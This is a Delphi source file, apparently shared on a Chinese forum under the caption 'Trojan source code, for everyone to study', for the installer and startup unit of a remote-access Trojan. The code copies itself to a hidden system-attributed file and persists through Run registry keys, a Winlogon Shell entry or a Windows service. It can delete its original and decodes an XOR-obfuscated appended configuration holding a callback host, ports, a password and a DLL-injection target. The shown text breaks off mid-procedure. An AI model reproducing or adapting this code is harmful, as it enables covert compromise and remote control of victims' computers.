ustart.pas

木马源程序,供大家研究

unit UStart;

interface

uses
  Windows, SysUtils2,UnitHookType,URsConst,SWintService,WinSvc,DLLInject;

type
  PRedCtrl=^TRedCtrl;
  TStartHook = procedure(); stdcall;
  TStopHook = procedure(); stdcall;
  TThreadPro = procedure();stdcall;
  TServiceTableEntryArray = array of TServiceTableEntry;

{TServiceStartThread = class(TThread)
  private
    FServiceStartTable: TServiceTableEntryArray;
  protected
    procedure DoTerminate; override;
    procedure Execute; override;
  public
    constructor Create(Services: TServiceTableEntryArray);
  end;  }

const
  WM_CLOSE = $0010;
{$IFDEF MSWINDOWS}
  shell32 = 'shell32.dll';
{$ENDIF}
{$IFDEF LINUX}
  shell32 = 'libshell32.borland.so';
{$ENDIF}

var
//  Setupname:string;
  MutexHandle: Longword;
  FileMapH: DWORD;
  g_servicethread:LongWord;
  checkpoint:DWORD;
  g_srvstatus:TServiceStatus;
  ServiceStatusHandle:Cardinal;
  g_ServerStopEvent:THandle;
  peizhe:TRedCtrl;
//  StartThread: TServiceStartThread;


procedure Main;
Function ExtractRes(dName,ResultFilePath: String): String;
//procedure ExtractRes(ResType, ResName, ResNewName: string);
Procedure ReadSettings(APz:PRedCtrl);
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,
  Directory: PChar; ShowCmd: Integer): HINST; stdcall;
function OpenSCManager(lpMachineName, lpDatabaseName: PChar;
  dwDesiredAccess: DWORD): THandle; stdcall;
function ReportStatusToSCMgr(dwState,dwExitCode,dwWait:DWORD):BOOL;
procedure  RedCrlAppMainStart;
procedure ServiceStop;
procedure AddToMessageLog(sMsg:string);

implementation


function ShellExecute; external shell32 name 'ShellExecuteA';

//安装 -------祝你成功-----
Procedure Install;
Var
  Temp  :string;
  procedure InRegMe;
  begin
    if (IsWindows9x) then
    begin
      If (Pz^.dRegLM = '1') Then SetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', Pz^.dInsFileName, Temp);
      If (Pz^.dRegCU = '1') Then SetRegValue(HKEY_CURRENT_USER,  'Software\Microsoft\Windows\CurrentVersion\Run', Pz^.dInsFileName, Temp);
      If (Pz^.dRegSH = '1') Then SetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft NT\Windows\CurrentVersion\Winlogon', 'Shell', 'Explorer.exe '+Temp);
    end;
  end;
Begin
try
  Temp := GetDirectory(TDirType(StrToInt(Pz^.dInsPath))) + Pz^.dInsFileName;

   if (ParamStr(0) <> Temp) then
   begin
      try
        if FileExists(Temp) then
        begin
            FilesetAttr(Temp,0);
            DeleteFile(PChar(Temp));
            if FileExists(Temp) then
            begin
                Halt(0);
                Exit;
            end;
        end;

        CopyFile(pchar(paramstr(0)),pchar(Temp),False);
        Setfileattributes(pchar(Temp),FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN);
      except
      end;

      if not IsWindows9x then
      begin
        if Pz^.dRunAsSrv[2]='1' then
        begin
          try
            DelService(Pz^.dSrvName);
          except
          end;
          Sleep(1000);
          try
            InstallService(Pz^.dSrvName,Pz^.dSrvView,Temp+' -service',Pz^.dSrvText);
          except
          end;
        end;
      end else begin
        InRegMe;
      end;

    if paramstr(1)='' then
    begin
        WinExec(pchar(Temp),SW_SHOW);
//        WinExec(pchar(Temp+' -service'),SW_SHOW);
    end;
    if (Pz^.dIsAutoDelMe='1') and (paramstr(1)='') then
    begin
        DelMe;
    end;
    Halt;
    Exit;
  end;
 except
     Halt;
 end;

end;
function WinExec2(ExeFile: string; ProcessInfo: PProcessInformation = nil): boolean;
var
  sStartInfo: STARTUPINFO;
  ProcInfo: TProcessInformation;
  PProcInfo: PProcessInformation;
begin
  ZeroMemory(@sStartInfo, sizeof(sStartInfo));
  SStartInfo.cb := sizeof(sStartInfo);
  if ProcessInfo = nil then PProcInfo := @ProcInfo
  else PProcInfo := ProcessInfo;
  result := CreateProcess(nil, Pchar(ExeFile), nil, nil, false, CREATE_DEFAULT_ERROR_MODE,
    nil, nil, sStartInfo, PProcInfo^);
end;

function ApplicationClassIfExists(WndClass: string): Boolean;
var
  hSem: THandle;
begin
  Result := False;
  hSem := CreateSemaphore(nil, 0, 1, pchar('Semaphore' + WndClass));
  if ((hSem <> 0) and (GetLastError() = ERROR_ALREADY_EXISTS)) then
  begin //如果已存在这个信号灯
    Result := True;
  end;
end;



Procedure ReadFileStr(dName: String; Var Content: String);
Var
  FContents     : File Of Char;
  FBuffer       : Array [1..1024] Of Char;
  rLen          : LongInt;
  FSize         : LongInt;
Begin
  Try
    Content := '';
    AssignFile(FContents, dName);     // 访问正在使用的 文本文件
    Reset(FContents);
    FSize := FileSize(FContents);

    While Not EOF(FContents) Do
    Begin
      BlockRead(FContents, FBuffer, 1024, rLen);      // 读记录
      Content := Content + String(FBuffer);
    End;
    CloseFile(FContents);

    If Length(Content) > FSize Then
      Content := Copy(Content, 1, FSize);
  Except
    Exit;
  End;
End;

Function EncryptText(Text: String): String;
Var
  I     :Word;
  C     :Word;
Begin
  Result := '';
  For I := 1 To Length(Text) Do
    Begin
      C := Ord(Text[I]);
      Result := Result + Chr((C Xor 12));
    End;
End;

//读取所有配置信息 －－－－－－－－－－－－－－
Procedure ReadSettings(APz:PRedCtrl);
Var
  i,j             :Integer;
  Settings      :String;
  FileContent   :String;
  NewFileName   :String;

Begin
 try
  NewFileName := ParamStr(0)+'_';                //生成文件名
  CopyFile(pChar(ConfigFile), pChar(NewFileName), False);  //复制

  ReadFileStr(NewFileName, FileContent);

  I := Length(FileContent);
  Settings := '';

  While (I > 0) And (FileContent[i] <> #00) Do
  Begin
    Settings := FileContent[i] + Settings;
    Dec(I);
  End;

  If (Settings = '') Then
  Begin
    DeleteFile(pChar(NewFileName));
    Uninstall;
  End;

  Settings := EncryptText(Settings);

  APz^.Urlhttp := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //x
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dConType := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); ////连接类型; 0:主动连接，1:被动连接
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dDnsHost := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //自动连接服务器地址
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dRemotePort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //被动连接端口
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dLocalPort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //主动连接端口
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dPass := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //连接密码
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dGroup := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //上线组
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dRunAsSrv := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //以服务运行  01:以服务运行，10:注册自动启动,11以服务运行，又加入自动启动
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dInsPath := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装路      0:<window> 1:<system> 2<templete>
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dInsFileName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装文件名称
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dIsAutoDelMe := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //是否自己删除自己 0:不删除 1:删除自己
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);

  APz^.dSrvView := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //显示名称
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dSrvName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务名称
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dSrvText := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //描述信息
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);

  strcopy(APz^.dhostProcess,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
 strcopy(APz^.dDllFile,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //dll文件名
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);

  APz^.dRegLM := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_LOCAL_MACHINE
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dRegCU := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_CURRENT_USER
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  APz^.dRegSH := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册为Shell Explorer
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
 finally
    DeleteFile(pChar(NewFileName));
 end;
End;

function FindSwitch(const Switch: string): Boolean;
var
  i:integer;
  s,s1:string;
begin
  for I := 1 to ParamCount do
    S := s + ParamStr(I);

  s:= UpperCase(s);
  s1:=UpperCase(Switch);
  Result :=  (Pos(s1,s)<>0);
end;


function OpenSCManager;         external advapi32 name 'OpenSCManagerA';

function IsStartService: Boolean;
var
  Mgr, Svc: Integer;
  UserName, ServiceStartName: string;
  Config: Pointer;
  Size: DWord;
begin
  Result := False;
  Mgr := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if Mgr <> 0 then
  begin
    ServiceStartName:=Pz^.dSrvName;
    Svc := OpenService(Mgr,pchar(ServiceStartName), SERVICE_ALL_ACCESS);
    Result := Svc <> 0;
    if Result then
    begin
      QueryServiceConfig(Svc, nil, 0, Size);
      Config := AllocMem(Size);
      try
        QueryServiceConfig(Svc, Config, Size, Size);
        ServiceStartName := PQueryServiceConfig(Config)^.lpServiceStartName;
        //MessageBox(0, PChar(Peizhi.WinServerName), SApplicationName, MB_ICONERROR);
        if AnsiCompareText(ServiceStartName, 'LocalSystem') = 0 then
          ServiceStartName := 'SYSTEM';
      finally
        Dispose(Config);
      end;
      CloseServiceHandle(Svc);
    end;
    CloseServiceHandle(Mgr);
  end;
  if Result then
  begin
    Size := 256;
    SetLength(UserName, Size);
    GetUserName(PChar(UserName), Size);
    SetLength(UserName, StrLen(PChar(UserName)));
    Result := AnsiCompareText(UserName, ServiceStartName) = 0;
  end;
end;

procedure ServiceWorkThread;
var
   dwWait:DWORD;
begin
     // Report Status
//  	g_servicethread := GetCurrentThreadId();
     if not ReportStatusToSCMgr(SERVICE_START_PENDING,NO_ERROR,3000) then exit;

{     // Create the event object. The control handler function signals

     // this event when it receives the "stop" control code.
     g_ServerStopEvent:=CreateEvent(nil,TRUE,False,nil);
     if g_ServerStopEvent=0 then
     begin
          AddToMessageLog('CreateEvent');
          exit;
     end;
}
     if not ReportStatusToSCMgr(SERVICE_RUNNING,NO_ERROR,0) then
     begin
//          CloseHandle(g_ServerStopEvent);
          exit;
     end;

    // RUN!
     // Service now running , perform work until shutdown
{     while True do
     begin
          // Wait for Terminate
          MessageBeep(1);
          dwWait:=WaitforSingleObject(g_ServerStopEvent,1);
          if dwWait=WAIT_OBJECT_0 then
          begin
               CloseHandle(g_ServerStopEvent);
               exit;
          end;
          Sleep(1000*10);
     end;